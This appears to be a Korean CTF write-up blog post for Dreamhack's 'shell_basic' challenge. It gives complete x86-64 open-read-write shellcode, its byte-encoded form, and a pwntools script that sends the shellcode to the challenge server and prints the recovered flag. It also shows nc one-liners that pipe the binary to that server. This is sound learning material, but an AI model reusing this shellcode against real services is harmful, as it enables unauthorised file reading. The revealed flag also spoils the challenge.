[pwn] shell_basic -하- (orw 쉘코드를 완성해보자)
김피탕은 맛있고 gpt는 신이다.
objdump도 GNU 재단에서 관리하는 것으로 알고 있는데 왜 objdump는 프리 인스톨되어있고, objcopy는 내가 알아서 깔아야 하는 것인가.. :/
내친 김에 직접 작성한 어셈블리어 코드를 쉘 코드로 변환하려면 어떻게 해야하는지도 물어봤다. 이 친구라면 내가 모르는 뭔가 새로운 걸 알려줄 수도 있지 않을까
드림핵 문제 페이지 힌트에 나와있는 것과 동일하게 objcopy와 xxd를 사용해서 변환하는 방식을 추천해주고 있다. 왕도를 따라가보자.
드림핵에서 제공하는 xxd 사용방법은 단순히
xxd FILE.bin
의 형태였는데, 이를 실행하면 다음과 같은 형태의 파일을 만날 수 있다.
반면에 Chat김피탕에서는 -i 옵션을 부여하고 *.h 확장자를 가지는 별도의 파일로 추출하고 있다. 실행 결과는 다음과 같다.
바이트 코드를 긁어와서 "찾아서 바꾸기" 기능을 쓰기엔 김피탕이 추천해주는 방법이 훨씬 수월해 보인다. -i 옵션은 파일 스타일을 포함하는 C언어 형태로 출력하는 옵션이라고 한다. 그래서 C 형태의 int 배열로 파일을 작성해준 것으로 보인다.
쉘코드의 형태로 변환하여 pwntools 모듈을 활용해 전송하였으나, interactive 메소드를 실행하는 과정에서 또 다시 EOF 오류가 발생했다. 지금까지의 경험상 EOF 오류가 발견되는건 런타임 오류가 발생한 경유였으나, DEBUG 모드로 로그를 남기도록 하고 실행했ㅇ,ㅁ에도 만족스러운 결과를 받아볼 수 없었다. 어쩔 수 있나.. 치대한 코드를 최적화하고 잘못된 부분이 없는지 차근차근 살펴보자.
mov esi, 0x00
esi 레지스터에 '0'을 담는 코드이다. 물론 이렇게 사용해도 무방하다고 알고 있으나, 대입 연산보다는 비트 연산을 수행하는 것이 오버헤드가 (조금이라도 더) 적어 가볍고 빠르게 돌아간다고 알고 있기에 다음과 같이 xor 연산을 수행하는 것으로 수정해주었다.
xor esi, esi
이외에도 전반적으로 코드를 다듬고 불필요한 주석은 제거하여 다음과 같은 어셈블리 코드를 완성했다.
section .text
global _main
_main:
push 0x00
mov rax, 0x676E6F6F6F6F6F6F ; oooooong
push rax
mov rax, 0x6C5F73695F656D61 ; ame_is_l
push rax
mov rax, 0x6E5F67616C662F63 ; c/flag_n
push rax
mov rax, 0x697361625f6c6c65 ; ell_basi
push rax
mov rax, 0x68732f656d6f682f ; /home/sh
push rax
; invoking open(FILE_PATH, READ_ONLY(0), NULL)
; rdi, rsi, rdx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x02 ; sys_open
syscall
; invoking read(fd, buf, size) / let, buf = 50
; rdi, rsi, rdx
mov rdi, rax
mov rsi, rsp
sub rsi, 0x50 ; mov rsi, [rsp-0x50]
mov rdx, 0x50
mov rax, 0x00 ; sys_read
syscall
; invoking write(1, buf, size)
; keep using rsi, rdx from read()
mov rdi, 0x01
mov rax, 0x01
syscall
; closing the system
xor rdi, rdi
mov rax, 0x3c ; sys_exit
syscall
이제 이 코드를 지지고 볶아 바이트 코드 형태로 만든 뒤 pwntools에 담은 최종 공격 코드는 다음과 같다.
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
r = remote("host2.dreamhack.games", 10202)
payload = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x50\xba\x50\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\x48\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05"
r.recvuntil("shellcode: ")
r.sendline(payload)
r.interactive()
제발 실행되게 해주세요. 다음부터는 얌전히 윈도우 노트북 쓸게요. 제발.. 제발...
DH{ca562d7cf1db6c55cb11c4ec350a3c0b}\n\xf3`\xb2~EzU\x00\xa0&\xb2>\xfd`\xa9pDzU\x00\xb0'\xb2>\xfd\x00\x00\x00
flag 뒤에 붙은 쓰레기 값은 버퍼 50바이트를 채우기 위해 담긴 것으로 보인다. 버퍼 사이즈를 조절해보면 직접 눈으로 확인할 수 있겠지만.... (도망)
+) 굳이 귀찮게 수작업으로 쉘코드로 변환한 필요 없이 다음과 같은 명령어를 이용하면 간단하게 해결할 수 있다.
cat new.bin | nc host2.dreamhack.games 22216
nc host2.dreamhack.games 22216 < new.bin
DH{ca562d7cf1db6c55cb11c4ec350a3c0b}